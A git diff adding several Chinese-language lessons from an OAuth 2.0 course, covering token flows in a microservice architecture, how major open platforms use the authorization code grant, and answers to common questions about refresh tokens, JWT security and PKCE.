1. Web应用将用户名、密码,通过网关转发到IDP的令牌获取端点(POST /oauth2/token,grant_type=password)。
|
||||
1. IDP通过Login Service对用户进行认证。
|
||||
1. IDP认证通过,返回有效访问令牌(根据需要也可以返回刷新令牌)。
|
||||
1. Web应用接收到访问令牌,创建用户Session,并将OAuth 2.0令牌保存其中,然后返回登录成功到用户端。
|
||||
1. 用户浏览器中记录Session Cookie,登录成功。
|
||||
|
||||
那接下来,我们再来看看认证授权之后的服务调用流程。同样,这里也只是突出了关键步骤,并假定是一个成功流程。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c8/4a/c88e46dd26deb76d6yy8f42f83066f4a.jpg" alt="">
|
||||
|
||||
1. 用户登录后,在网站上点击查看自己的购物历史记录。
|
||||
1. Web应用通过网关调用后台API(查询用户的购物历史记录),请求HTTP header中带上OAuth 2.0令牌(来自用户Session)。
|
||||
1. 网关截取OAuth 2.0令牌,去IDP进行校验。
|
||||
1. IDP校验令牌通过,再通过令牌查询用户和Scope信息,构建JWT令牌,返回。
|
||||
1. 网关获得JWT令牌,校验Scope是否有权限调用API,如果有就转发到后台API进行调用。
|
||||
1. 后台BFF(或者领域服务)通过传递过来的JWT获取用户信息,根据用户ID查询购物历史记录,返回。
|
||||
1. Web应用获得用户的购物历史数据,可以根据需要缓存在Session中,再返回用户端。
|
||||
1. 购物历史数据返回到用户浏览器端。
|
||||
|
||||
注意,这个服务调用流程,也可以应用在其他场景中,比如我们接下来要学习的“第一方移动应用+授权码许可模式”和“第三方Web应用+授权码许可模式”。基本上只要你理解了这个流程原理,就可以根据实际场景灵活套用。
|
||||
|
||||
### 场景2:第一方移动应用+授权码许可模式
|
||||
|
||||
第二个场景是用户通过手机访问ACME公司自己的电商App。这是第一方的原生应用(Native App)场景,通常考虑选用OAuth 2.0的用户名密码模式,但是并不安全(参考[MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT – PART 3 – IDP](https://www.kaper.com/cloud/micro-services-architecture-with-oauth2-and-jwt-part-3-idp/)的Security Consideration部分),所以业界建议采用授权码模式,而且是要支持[PKCE](https://dzone.com/articles/what-is-pkce)扩展的授权码模式。
|
||||
|
||||
那接下来,我们来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假定是一个成功流程。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/44/93/443dab973274d8d13c76b2ef4cd1d393.jpg" alt="">
|
||||
|
||||
1. 用户访问电商App,点击登录。
|
||||
1. App生成PKCE相关的code verifier + challenge。
|
||||
1. App以内嵌方式启动手机浏览器,访问IDP的统一认证页(GET /authorize),请求带上PKCE的code challenge相关参数。
|
||||
1. IDP返回统一认证页。
|
||||
1. 用户认证和授权。
|
||||
1. IDP通过Login Service对用户进行认证。
|
||||
1. IDP返回授权码到App浏览器。
|
||||
1. App截取浏览器带回的授权码,将授权码+PKCE code verifer,通过网关转发到IDP的令牌获取端点(POST /oauth2/token, grant_type=authorization-code)。
|
||||
1. IDP校验PKCE和授权码,校验通过则返回有效访问令牌。
|
||||
1. App获取令牌,本地存储,登录成功。
|
||||
|
||||
之后,App如果需要和后台交互,可直接通过网关调用后台微服务,请求HTTP header中带上OAuth 2.0访问令牌即可。后续的服务调用流程,和“第一方应用+资源拥有者凭据模式”类似。
|
||||
|
||||
### 场景3:第三方Web应用+授权码模式
|
||||
|
||||
第三个场景是某第三方合作厂商开发了一个Web网站,要访问ACME公司的电商开放平台API。这是一个第三方Web应用场景,通常选用OAuth 2.0的授权码许可模式。
|
||||
|
||||
那接下来,我们来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假设是一个成功流程。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/02/57/02affbdf32f005af65454f3acc4cd957.jpg" alt="">
|
||||
|
||||
<li>
|
||||
用户访问这个第三方Web应用,点击登录链接。
|
||||
</li>
|
||||
<li>
|
||||
Web应用后台向ACME公司的IDP服务发送申请授权码请求(GET /authorize)。
|
||||
</li>
|
||||
<li>
|
||||
用户被重定向到ACME公司的IDP统一登录页面。
|
||||
</li>
|
||||
<li>
|
||||
用户进行认证和授权。
|
||||
</li>
|
||||
<li>
|
||||
IDP通过Login Service对用户进行认证。
|
||||
</li>
|
||||
<li>
|
||||
认证和授权通过,IDP返回授权码。
|
||||
</li>
|
||||
<li>
|
||||
Web应用获得授权码,再向IDP服务的令牌获取端点发起请求(POST /oauth2/token, grant_type=authorization-code)。
|
||||
</li>
|
||||
<li>
|
||||
IDP校验授权码,校验通过则返回有效OAuth 2.0令牌(根据需要也可以返回刷新令牌)。
|
||||
</li>
|
||||
<li>
|
||||
Web应用创建用户Session,将OAuth 2.0令牌保存在Session中,然后返回登录成功到用户端。
|
||||
</li>
|
||||
<li>
|
||||
用户浏览器中记录Session Cookie,登录成功。
|
||||
</li>
|
||||
|
||||
之后,第三方Web应用如果需要和ACME电商平台交互,可直接通过网关调用微服务,请求HTTP header中带上OAuth 2.0访问令牌即可。后续的服务调用流程,和前面的“第一方应用+资源拥有者凭据模式”类似。
|
||||
|
||||
### 额外说明
|
||||
|
||||
除了上面的三个主要场景和流程,我还要和你分享6点。这6点是对上面基本流程的补充,也是企业级的OAuth 2.0应用要额外考虑的。
|
||||
|
||||
**第一点是,IDP的API要支持从OAuth 2.0访问令牌到JWT令牌的互转**。今天我们提到的集成架构采用OAuth 2.0 访问令牌 + JWT令牌的混合模式,中间需要实现OAuth 2.0访问令牌到JWT令牌的互转。这个互转API并非OAuth 2.0的标准,有些IDP产品(比方Spring Security OAuth)可能并不支持,因此需要用户定制扩展。
|
||||
|
||||
**第二点是,关于单页SPA应用场景**。关于单页SPA应用场景,简单做法是采用隐式许可,但是这个模式是OAuth 2.0中比较不安全的,所以一般不建议采用。对于纯单页SPA应用,业界推荐的做法是:
|
||||
|
||||
- 如果浏览器支持Web Crypto for PKCE,则可以考虑使用类似“第一方移动应用”场景下的授权码许可+PKCE扩展流程;
|
||||
- 否则,考虑SPA+传统Web混合(hybrid)模式,前端页面可以住在客户浏览器端中,但登录认证还是由后台Web站点配合实现,走类似“第一方Web应用”场景的资源拥有者凭据模式,或者“第三方Web应用”场景下的授权码许可模式。
|
||||
|
||||
**第三点是,关于SSO单点登录场景**。为了简化描述,上面的流程没有考虑SSO单点登录场景。如果要支持Web SSO,那么各种应用场景都必须通过浏览器+IDP登录页集中登录,并且IDP要支持Session,用于维护登录态。如果IDP以集群方式部署的话,还要考虑粘性Sticky Session或者集中式Session。
|
||||
|
||||
这样,当用户通过一个Web应用登录后,后续如果再用其它Web应用登录的话,只要IDP上的Session还存在,那么这个登录就可以自动完成,相当于单点登录。
|
||||
|
||||
当然,如果要支持SSO,IDP的Session Cookie要种在Web应用的根域上,也就是说不同Web应用的根域必须相同,否则会有跨域问题。
|
||||
|
||||
**第四点是关于IDP和网关的部署方式**。前面的几张架构图中,IDP虽然躲在网关后面,但实际上IDP可以直接通过Nginx对外暴露,不经过网关。或者,IDP的登录授权页面,可以通过Nginx直接暴露,API接口则走网关。
|
||||
|
||||
**第五点是关于刷新令牌**。为了简化描述,上面的流程没有详细说明刷新令牌的集成方式。企业根据场景需要,可以启用刷新令牌,来延长用户的登录时间,具体的集成方式需要考虑安全性的需求。
|
||||
|
||||
**第六点是关于Web Session**。为了简化描述,在上面的流程中,Web应用登录成功后假设启用Web Session,也就是服务器端Session。在实际场景中,Web Session并非唯一选择,也可以采用简单的客户端Session方式,也称无状态Session,也就是在客户端浏览器Cookie中保存OAuth 2.0访问令牌。
|
||||
|
||||
## 小结
|
||||
|
||||
好了,以上就是今天的主要内容了。今天,我和你分享了如何将行业标准的OAuth 2.0/JWT和微服务集成起来,你需要记住以下四点。
|
||||
|
||||
第一,目前主流的微服务架构大致可以分为5层,分别是:Nginx流量接入层->Web应用层->API网关层->BFF聚合层->领域服务层。这个架构可以住在云原生的Kubernetes环境中,也可以住在传统数据中心里头。
|
||||
|
||||
第二,API网关是微服务调用的入口,承担重要的安全认证和鉴权功能。主要的安全操作包括:一,通过IDP校验OAuth 2.0访问令牌,并获取带用户和权限信息的JWT令牌;二,基于OAuth 2.0的Scope对API调用进行鉴权。
|
||||
|
||||
第三,在微服务架构体系下,通常需要一个集中的IDP服务,它相当于一个Authentication & Authorization as a Service角色,负责令牌颁发/校验/管理,还有用户认证。
|
||||
|
||||
第四,在今天这一讲提出的架构中,Web应用层(网关之前)的安全机制主要基于OAuth 2.0访问令牌实现(它是一种**透明令牌**或者称**引用令牌**),微服务层(网关之后)的安全机制主要基于JWT令牌实现(它是一种**不透明**的**自包含令牌**)。网关层在中间实现两种令牌的转换。这是一种OAuth 2.0访问令牌+JWT令牌的混合模式。
|
||||
|
||||
之所以这样设计,是因为Web层靠近用户端,如果采用JWT令牌,会暴露用户信息,有一定的安全风险,所以采用OAuth 2.0访问令牌,它是一个无意义随机字符串。而在网关之后,安全风险相对低,同时很多服务需要用户信息,所以采用自包含用户信息的JWT令牌更合适。
|
||||
|
||||
当然,如果企业内网没有特别的安全考量,也可以直接传递完全透明的用户信息(例如使用JSON格式)。
|
||||
|
||||
## 思考题
|
||||
|
||||
1. 除了今天我们讲到的OAuth 2.0访问令牌+JWT令牌的混合模式,实践中也可以全程采用OAuth 2.0访问令牌,或者全程采用JWT令牌。对比混合模式,如果全程采用OAuth 2.0访问令牌,或者全程采用JWT令牌,你觉得有哪些利弊呢?
|
||||
1. 你可以说说自己对基于传统Web应用的认证授权机制的理解吗?并对比今天讲到的现代微服务的认证授权机制,你可以说说它们之间的本质差异和相似点吗?
|
||||
|
||||
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。
|
||||
129
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/13 | 各大开放平台是如何使用OAuth 2.0的?.md
Normal file
129
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/13 | 各大开放平台是如何使用OAuth 2.0的?.md
Normal file
@@ -0,0 +1,129 @@
|
||||
<audio id="audio" title="13 | 各大开放平台是如何使用OAuth 2.0的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/a1/3d/a167de900abfa083361eb71ca3128a3d.mp3"></audio>
|
||||
|
||||
你好,我是王新栋。
|
||||
|
||||
在咱们这门课中,我提到了很多次“开放平台”,不难理解,它的作用就是企业把自己的业务能力主要以开放API的形式,赋能给外部开发者。而作为第三方开发者或者ISV(独立软件供应商)在接入这些开放平台的时候,我们最应该关心的就是它们的官方文档,关注接入的流程是怎样的、对应的API是什么、每个API都传递哪些参数,也就差不多够了。
|
||||
|
||||
到这里,你会发现“开放平台的官方文档”会是一个关键点。不过呢,当你去各大开放平台上面看这些文档的时候,就会发现这些文档非常分散。
|
||||
|
||||
其中的原因也很简单,那就是开放平台为了让已经具备OAuth 2.0知识的研发人员去快速地对接平台上面的业务,把各类对接流程做了分类归档。比如,你会发现微信开放平台上有使用授权码获取授权信息的文档,也有获取令牌的文档,但并没有一份整体的、能够串起来的文档说明。从我的角度来看,这其实也就间接提高了使用门槛,因为如果你不懂OAuth 2.0,基本是没办法理解那些分类的。
|
||||
|
||||
那么,今天我就借着这个点,和你说说以京东、微信、支付宝、美团为代表的各大开放平台是如何使用OAuth 2.0的。理解了这个问题,你以后再对接一个开放平台、再阅读一份官方对接文档时,就更能明白它们的底层逻辑了。
|
||||
|
||||
在正式介绍各大开放平台的使用细节之前,我们先来看看大厂的开放平台全局体系。据我观察,各个开放平台基本的系统结构和授权系统在中间的交互流程,大同小异,都是通过授权服务来授权,通过网关来鉴权。所以接下来,我就以京东商家开放平台为例,来和你说说开放平台的体系到底是什么样子的。
|
||||
|
||||
## 开放平台体系是什么样子的?
|
||||
|
||||
我们首先来看一下京东商家开放平台全局体系的结构,如下图所示。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/57/56/5775b5bbc363ba2f94d9f6f8e2d05d56.png" alt="" title="图1 京东商家开放平台体系结构示意图">
|
||||
|
||||
我们可以把这个架构体系分为三部分来看:
|
||||
|
||||
1. 第三方软件,一般是指第三方开发者或者ISV通过对接开放平台来实现的应用软件,比如小兔打单软件。
|
||||
1. 京东商家开放平台,包含API网关服务、OAuth 2.0授权服务和第三方软件开发者中心服务。其中,API网关服务和OAuth 2.0授权服务,是开放平台的“两条腿”;第三方软件开发者中心服务,是为开发者提供管理第三方软件应用基本信息的服务,比如app_id、app_secret等信息。
|
||||
1. 京东内部的各个微服务,比如订单服务、商品服务等。这些微服务,就是我们之前提到的受保护资源服务。
|
||||
|
||||
从图中我们还可以看到这个体系整体的调用关系是:第三方软件通过HTTP协议请求到开放平台,更具体地说是开放平台的API网关服务,然后由API网关通过内部的RPC调用到各个微服务。
|
||||
|
||||
接下来,我们再以用户小明使用小兔打单软件为例,来看看这些系统角色之间具体又是怎样交互的?
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/30/4b/30f2b2db8c01f0fc60e2d821cd59f94b.png" alt="" title="图2 开放平台体系交互示意图">
|
||||
|
||||
到这里,我们可以发现,在开放平台体系中各个系统角色间的交互可以归结为:
|
||||
|
||||
1. 当用户小明访问小兔软件的时候,小兔会首先向开放平台的OAuth 2.0 授权服务去请求访问令牌,接着小兔拿着访问令牌去请求API网关服务;
|
||||
1. 在API网关服务中,会做最基本的两种校验,一种是访问令牌的合法性校验,比如访问令牌是否过期的校验,另一种是小兔打单软件的基本信息的合法性校验,比如app_id和app_secret的校验;
|
||||
1. 都校验成功之后,API网关服务会发起最终的数据请求。
|
||||
|
||||
这里需要说明的是,在[第5讲](https://time.geekbang.org/column/article/257767)中我们提到,验证访问令牌或者第三方软件应用信息的时候,都是在受保护资源服务中去做的。**当有了API网关这一层的时候,这些校验工作就会都落到了API网关的身上,因为我们不能让很多个受保护资源服务做同样的事情**。
|
||||
|
||||
我们理解了京东商家开放平台的体系结构后,可以小结下了。依靠开放平台提供的能力,可以说开放平台、用户和开发者实现了三赢:小明因为使用小兔提高了打单效率;小兔的开发者因为小明的订购服务获得了收益;而通过开放出去的API让小兔帮助小明能够极快地处理C端用户的订单,京东提高了用户的使用体验。
|
||||
|
||||
但同时呢,开放也是一把双刃剑。理想状态下,平台、开发者、用户可以实现三赢,但正如我们在[第8讲](https://time.geekbang.org/column/article/261403)和[第10讲](https://time.geekbang.org/column/article/263763)中提到的,安全的问题绝不容忽视,而用户的信息安全又是重中之重。接下来,我就和你分享一个,开放平台体系是如何解决访问令牌安全问题的案例。
|
||||
|
||||
我们已经知道,用户给第三方软件授权之后,授权服务就会生成一个访问令牌,而且这个访问令牌是跟用户关联的。比如,小明给小兔打单软件进行了授权,那么此时访问令牌的粒度就是:小兔打单软件+小明。
|
||||
|
||||
我们还知道了,小兔打单软件可以拿着这个访问令牌去代表小明访问小明的数据;如果访问令牌过期了,小兔打单软件还可以继续使用刷新令牌来访问,直到刷新令牌也过期了。
|
||||
|
||||
现在问题来了,如果小明注销了账号,或者修改了自己的密码,那他之前为其它第三方软件进行授权的访问令牌就应该立即失效。否则,在刷新令牌过期之前,第三方软件可以一直拿着之前的访问令牌去请求数据。这显然不合理。
|
||||
|
||||
所以在这种情况下,授权服务就要通过MQ(消息队列)接收用户的注销和修改密码这两类消息,然后对访问令牌进行清理。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9d/ca/9d05fa572bccec8da5c895b49a9946ca.png" alt="" title="图3 访问令牌的清理">
|
||||
|
||||
其实,这个案例中解决访问令牌安全问题的方式,不仅仅适用于开放平台,还可以为你在企业内构建自己的OAuth 2.0授权体系结构时提供借鉴。
|
||||
|
||||
以上就是开放平台整体的结构,以及其中需要重点关注的用户访问令牌的安全性问题了。我们作为第三方软件开发者,在对接到这些开放平台或者浏览它们的网站时,几乎都能看到类似这样的一句话:“所有接口都需要接入OAuth授权,经过用户确认授权后才可以调用”,这正是OAuth 2.0的根本性作用。
|
||||
|
||||
理解了开放平台的脉络之后,接下来,就让我们通过一组图看一看开放平台是如何使用OAuth 2.0授权流程的吧。
|
||||
|
||||
## 各大开放平台授权流程
|
||||
|
||||
我们以[微信](https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html)、[支付宝](https://opendocs.alipay.com/open/common/105193/)、[美团](https://open.waimai.meituan.com/openapi_docs/index.html)为例,看看它们在开放授权上是如何使用OAuth 2.0 的。我们首先看一下官方的授权流程图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ab/dc/abc7611d467d45bf39d8e07e0d0267dc.png" alt="" title="图4 微信开放平台授权流程图">
|
||||
|
||||
>
|
||||
引自[微信官方文档](https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html)
|
||||
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e2/b7/e27a6836ef686e23284f9314cc3a25b7.png" alt="" title="图5 支付宝开放平台授权流程图">
|
||||
|
||||
>
|
||||
引自[支付宝开放平台文档](https://opendocs.alipay.com/open/common/105193/)
|
||||
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e9/ea/e98e9ed5e607561df173262703ca3dea.png" alt="" title="图6 美团开放平台授权流程图">
|
||||
|
||||
>
|
||||
引自[美团外卖开放平台](https://open.waimai.meituan.com/openapi_docs/oauth/)
|
||||
|
||||
|
||||
我们可以在这三张授权流程图中看到,都有和授权码code相关的文字。这就说明,**它们都建议开发者首选授权码流程**。所以,你现在更能明白我为啥在这门课里要花这么多篇幅,来和你讲授权码许可相关的内容了吧。
|
||||
|
||||
在这一讲最开始我也提到了,我们作为开发者在对接开放平台的时候,最关心的就是它们提供的官方对接文档了。而**这些文档里面,最让人头疼就是那些通信过程中需要传递的参数**了。下面我会带着你从我的角度,以京东商家开放平台为例,给你串下这些参数背后的含义,以及关键点。这样你在做具体接入操作的时候,就可以举重若轻了。
|
||||
|
||||
## 授权码流程中的参数说明
|
||||
|
||||
概括来讲,在京东商家开放平台的授权服务这一侧,提供服务的就是两个端点:负责生成授权码的**授权端点**以及负责颁发访问令牌的**令牌端点**。整个授权过程中,虽然看着有很多参数,但你可以围绕这两条线,来对它们做归类。
|
||||
|
||||
接下来,我们继续以小兔打单软件为例,来看一下它在对接京东商家开放平台的时候都用到了哪些参数。
|
||||
|
||||
小明在使用小兔打单软件的时候,首先被小兔通过重定向的方式引导到京东商家开放平台的授权服务上,其实就是引导到了授权服务的授权端点上。这个重定向的过程中用到的参数如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0e/03/0e8394fedd9205e38c3yyc6e7bae2303.jpg" alt="" title="图7 重定向过程用到的参数">
|
||||
|
||||
这里需要强调的是,对于state参数,现在官方都是“推荐”使用。我们在[第8讲](https://time.geekbang.org/column/article/261403)中说过,OAuth 2.0官方建议的避免CSRF攻击的方式,就是使用state参数。所以安全起见,你还是应该使用。
|
||||
|
||||
接着,京东商家开放平台授权服务的授权端点,会向小兔软件做出响应。这个响应的过程用到的基本参数,如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b6/61/b653bc541a98920001385612f2309361.jpg" alt="" title="图8 授权端点响应小兔软件用到的参数">
|
||||
|
||||
对于授权码code的值,一般建议的最长生命周期是10分钟。另外,小兔打单软件只能被允许使用一次该授权码的值,如果使用一次之后还用同样的授权码值来请求,授权服务必须拒绝。
|
||||
|
||||
对于这次的state值,授权服务每次都是必须要返回给小兔打单软件的。无论小兔打单软件在起初的时候有没有发送该值,都必须返回回去,如果没有就返回空。这样当小兔打单软件日后升级增加该值的时候,京东商家开放平台就不需要改动任何代码逻辑了。
|
||||
|
||||
在拿到授权码code的值之后,接下来就是小兔打单软件向京东商家开放平台的授权服务的令牌端点发起请求,申请访问令牌。这个过程中需要传递的基本参数,如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/18/7f/18c8245e61ce14c1f7a227a6e713b37f.jpg" alt="" title="图9 申请访问令牌需要传递的基本参数">
|
||||
|
||||
在授权服务接收到小兔打单软件申请访问令牌的请求后,像授权端点一样,令牌端点也需要向小兔打单软件做出响应。这个过程涉及到的基本参数,如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1a/b5/1ac4ded2b7131b475ac71bf4b39c72b5.jpg" alt="" title="图10 令牌端点响应小兔软件涉及的参数">
|
||||
|
||||
对于这里返回的scope值,我要强调下,其实就是小兔软件被允许的实际的权限范围,因为小明有可能给小兔软件授予了小于它在开放平台注册时申请的权限范围。比如,小兔打单软件申请了查询历史订单、查询当天订单两个API的权限,但小明可能只给小兔授权了查询当天订单API的权限。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,这一讲就要结束了。我们一起学习了开放平台体系的整体结构和授权流程,以及第三方软件开发者关心的对接开放平台的通信流程中需要传递的参数。现在,我希望你能记住以下三点内容。
|
||||
|
||||
1. 当有多个受保护资源服务的时候,基本的鉴权工作,包括访问令牌的验证、第三方软件应用信息的验证都应该抽出一个 API网关层,并把这些基本的工作放到这个API网关层。
|
||||
1. 各大开放平台都是推荐使用授权码许可流程,无论是网页版的Web应用程序,还是移动应用程序。
|
||||
1. 对于第三方软件开发者重点关注的参数,可以从授权服务的授权端点和令牌端点来区分,授权端点重点是授权码请求和响应的处理,令牌端点重点是访问令牌请求和响应的处理。
|
||||
|
||||
## 思考题
|
||||
|
||||
在有了API网关这一层之后,API网关向订单服务请求数据的时候,还是传递访问令牌access_token的值吗?如果不是的话,它传递的又是什么值呢?
|
||||
|
||||
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。
|
||||
103
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/14 | 查漏补缺:OAuth 2.0 常见问题答疑.md
Normal file
103
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/14 | 查漏补缺:OAuth 2.0 常见问题答疑.md
Normal file
@@ -0,0 +1,103 @@
|
||||
<audio id="audio" title="14 | 查漏补缺:OAuth 2.0 常见问题答疑" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/cf/22/cfc6b34c14835af468d61eed201d5a22.mp3"></audio>
|
||||
|
||||
你好,我是王新栋。
|
||||
|
||||
从6月29日这门课上线,到现在已经过去一个多月了。我看到了很多同学的留言,有思考,也有提出的问题。那我首先,在这里要感谢你对咱们这门课的支持、鼓励和反馈。
|
||||
|
||||
在回复你们的留言时,我也把你们提出的问题记了下来。在梳理今天这期答疑的时候,我又从头到尾看了一遍这些问题,也进一步思考了每个问题背后的元认知,最后我归纳出了6个问题:
|
||||
|
||||
1. 发明 OAuth 的目的到底是什么?
|
||||
1. OAuth 2.0 是身份认证协议吗?
|
||||
1. 有了刷新令牌,是不是就可以让访问令牌一直有效了?
|
||||
1. 使用了HTTPS,是不是就能确保JWT格式令牌的数据安全?
|
||||
1. ID令牌和访问令牌之间有联系吗?
|
||||
1. PKCE协议到底解决的是什么问题?
|
||||
|
||||
接下来,我们就一一看看这些问题吧。
|
||||
|
||||
## 发明 OAuth 的目的到底是什么?
|
||||
|
||||
OAuth 协议的设计初衷,就是让最终用户也就是资源拥有者(小明),将他们在受保护资源服务器(京东商家开放平台)上的部分权限(查询当天订单)**委托**给第三方应用(小兔打单软件),使得第三方应用(小兔)能够代表最终用户(小明)执行操作(查询当天订单)。
|
||||
|
||||
这便是OAuth 协议设计的目的。在OAuth 协议中,通过为**每个第三方软件和每个用户的组合**分别生成对受保护资源具有**受限的访问权限的凭据,也就是访问令牌**,来代替之前的用户名和密码。**而生成访问令牌之前的登录操作,又是在用户跟平台之间进行的,第三方软件根本无从得知用户的任何信息。**
|
||||
|
||||
这样第三方软件的逻辑处理就大大简化了,它今后的动作就变成了请求访问令牌、使用访问令牌、访问受保护资源,同时在第三方软件调用大量API的时候,**不再传输用户名和密码,从而减少了网络安全的攻击面。**
|
||||
|
||||
从安全的角度来讲,**为每个第三方软件和每个用户的组合来生成一个访问令牌**的方式,可以减少对平台更多用户造成的危害。因为这样一来,单个第三方软件被攻破而带来的危害,仅仅会让这一个第三方软件的用户受到影响。
|
||||
|
||||
那么有的同学就要会问了,这样攻击的对象就会转移到授权服务身上。这个想法没错,但保护一个授权服务肯定要比保护成千上万个、由不同研发人员开发的第三方软件容易得多。
|
||||
|
||||
## OAuth 2.0 是身份认证协议吗?
|
||||
|
||||
在这门课中,我其实一直在强调,**OAuth 2.0 是一种授权协议,“它一心只专注于干好授权这件事儿”,OAuth 2.0 不是身份认证协议。**但实际上,我在刚开始学习 OAuth 2.0 的时候,也曾错误地认为它是身份认证协议。
|
||||
|
||||
因为我当时觉得,有用户参与其中,比如小明在使用小兔打单软件之前,要向授权服务进行登录操作从而进行身份认证 ,那OAuth 2.0就应该是一个身份认证协议啊。
|
||||
|
||||
但是,小明必须登录之后才能进行授权,是一个额外的需求,登录跟授权体系是独立的。虽然登录操作看似“内嵌”在了 OAuth 2.0 的流程中,但生产环境中登录和授权还是两套独立存在的系统。所以说,**像这种“内嵌”的身份认证行为,并不是说 OAuth 2.0 自身承担起了身份认证协议的责任。**
|
||||
|
||||
同时,身份认证会告诉第三方软件当前的用户是谁,但实际上OAuth 2.0 自始至终都没有向第三方软件透露过关于用户的任何信息。这一点,我们在讲发明OAuth协议的目的时也提到过。我们可以再想想小兔打单软件的例子,看是不是这样:小兔打单软件永远也不会知道小明的任何信息,它仅仅是请求访问令牌,使用访问令牌并最终调用查询订单的API。
|
||||
|
||||
## 有了刷新令牌,是不是就可以让访问令牌一直有效了?
|
||||
|
||||
要回答这个问题,我们先复习下访问令牌和刷新令牌相关的几个知识点吧。
|
||||
|
||||
第一,OAuth 2.0的核心是授权,授权的核心是令牌,也就是我们说的访问令牌。
|
||||
|
||||
第二,在[第3讲](https://time.geekbang.org/column/article/257101)中我们提到,为了提高用户的体验,OAuth 2.0提供了刷新令牌的机制,使得访问令牌过期后,第三方软件在无需用户再次授权的情况下,可以重新请求一个访问令牌。
|
||||
|
||||
第三,在使用上,**刷新令牌只能用在授权服务上,而访问令牌只能用在受保护资源服务上。**
|
||||
|
||||
有了这些知识做基础,我们可以继续分析“有了刷新令牌,是不是就可以让访问令牌一直有效”这个问题了。
|
||||
|
||||
当访问令牌被 “递给” 受保护资源服务的时候,受保护资源服务需要对访问令牌进行验证,还要对访问令牌关联的权限和第三方软件的请求进行权限匹配校验。当访问令牌过期的时候,我们使用刷新令牌请求到的访问令牌,是授权服务重新生成的,而不是延长了原访问令牌的有效期。
|
||||
|
||||
当前的这个刷新令牌被使用之后,授权服务可以自行决定是颁发一个新的刷新令牌,还是仍然给第三方软件返回上一个刷新令牌。安全起见,我们的建议是**返回一个新的刷新令牌**。这时,你可能就有一个疑问了:第三方软件已经换了一个访问令牌了,刷新令牌又一直存在,那是不是就可以一直使用刷新令牌来获取访问令牌了呢?
|
||||
|
||||
要解决这个疑问,我们要知道的是,**刷新令牌也有有效期。**尽管生成了新的刷新令牌,但它的有效期不会改变,有效期的时间戳仍然是上一个刷新令牌的。刷新令牌的有效期到了,就不能再继续用它来申请新的访问令牌了。
|
||||
|
||||
## 使用了HTTPS,是不是就能确保JWT格式令牌的数据安全?
|
||||
|
||||
OAuth 2.0 的使用从来都不应该脱离HTTPS。因为访问令牌、应用密钥敏感信息要在网络上传输,都离不开HTTPS的保护。但是,HTTPS也只是保证了访问令牌等重要信息在网络传输上的安全。
|
||||
|
||||
在OAuth 2.0 的规范中,访问令牌对第三方软件是不透明的,从来都不应该被任何第三方软件解析到。由于JWT格式的令牌自包含了用户相关的信息,比如用户标识,因此仅仅对它进行签名还不够。要避免第三方软件有机会获取访问令牌所包含的信息,那我们在与第三方软件交互的环境下使用JWT格式的令牌时,还要对它进行加密来保障令牌的安全,而不是仅仅依靠HTTPS。
|
||||
|
||||
## ID令牌和访问令牌之间有联系吗?
|
||||
|
||||
在[第9讲](https://time.geekbang.org/column/article/262672)中,我们在用OAuth 2.0 实现一个 OpenID Connect身份认证协议的时候,讲到了ID令牌。在这一讲的后面,有同学还是不太清楚ID令牌和访问令牌是啥关系,当时我就在留言区做了回复。现在,我重新整理了思路再和你解释一下,因为认识到ID令牌和访问令牌的联系与区别,对我们利用OAuth 2.0 搭建一个身份认证协议来说太重要了。
|
||||
|
||||
我们先来总结下ID令牌和访问令牌的作用:
|
||||
|
||||
- ID令牌,也就是ID_TOKEN,代表的是用户身份令牌,可以说是一个单独的身份认证结果,永远不会像访问令牌那样作为一个参数,去传递给其它外部服务;
|
||||
- 访问令牌,也就是ACCESS_TOKEN,就是一个令牌,是要被第三方软件用来作为凭证,从而代表用户去请求受保护资源服务的。
|
||||
|
||||
你看,这两种令牌是截然不同的。接下来,我们就分析下,它们的区别都体现在哪些方面吧。
|
||||
|
||||
第一,ID令牌是对访问令牌的补充,而不是要替换访问令牌。之所以采用这样双令牌的方式,就是想让早先存在的访问令牌,可以在OAuth 2.0 中继续保持对第三方软件的不透明性,而让后来新增的ID令牌要能够被解析,目的就是方便应用到身份认证协议中。
|
||||
|
||||
第二,ID令牌和访问令牌有不同的生命周期,ID令牌的生命周期相对来说更短些。因为ID令牌的作用就是代表一个单独的身份认证结果,它的使命就是用来标识用户的。而这个标识并不是用户名,用户登录的时候用的是用户名而不是这个ID令牌,所以如果用户注销或者退出了登录,ID令牌的生命周期就随之结束了。
|
||||
|
||||
访问令牌可以在用户离开后的很长时间内,继续被第三方软件用来请求受保护资源服务。比如,小明使用了小兔打单软件的批量导出订单功能,如果耗时相对比较长,小明不必一直在场。
|
||||
|
||||
## PKCE协议到底解决的是什么问题?
|
||||
|
||||
我们在[第7讲](https://time.geekbang.org/column/article/260670)中学习PKCE协议时,我看到了大家对这个协议的很多留言,有的是自己的思考,有的是问题的进一步讨论。我们要理解PKCE协议到底解决了什么问题,就要先看一下它被推出的背景。
|
||||
|
||||
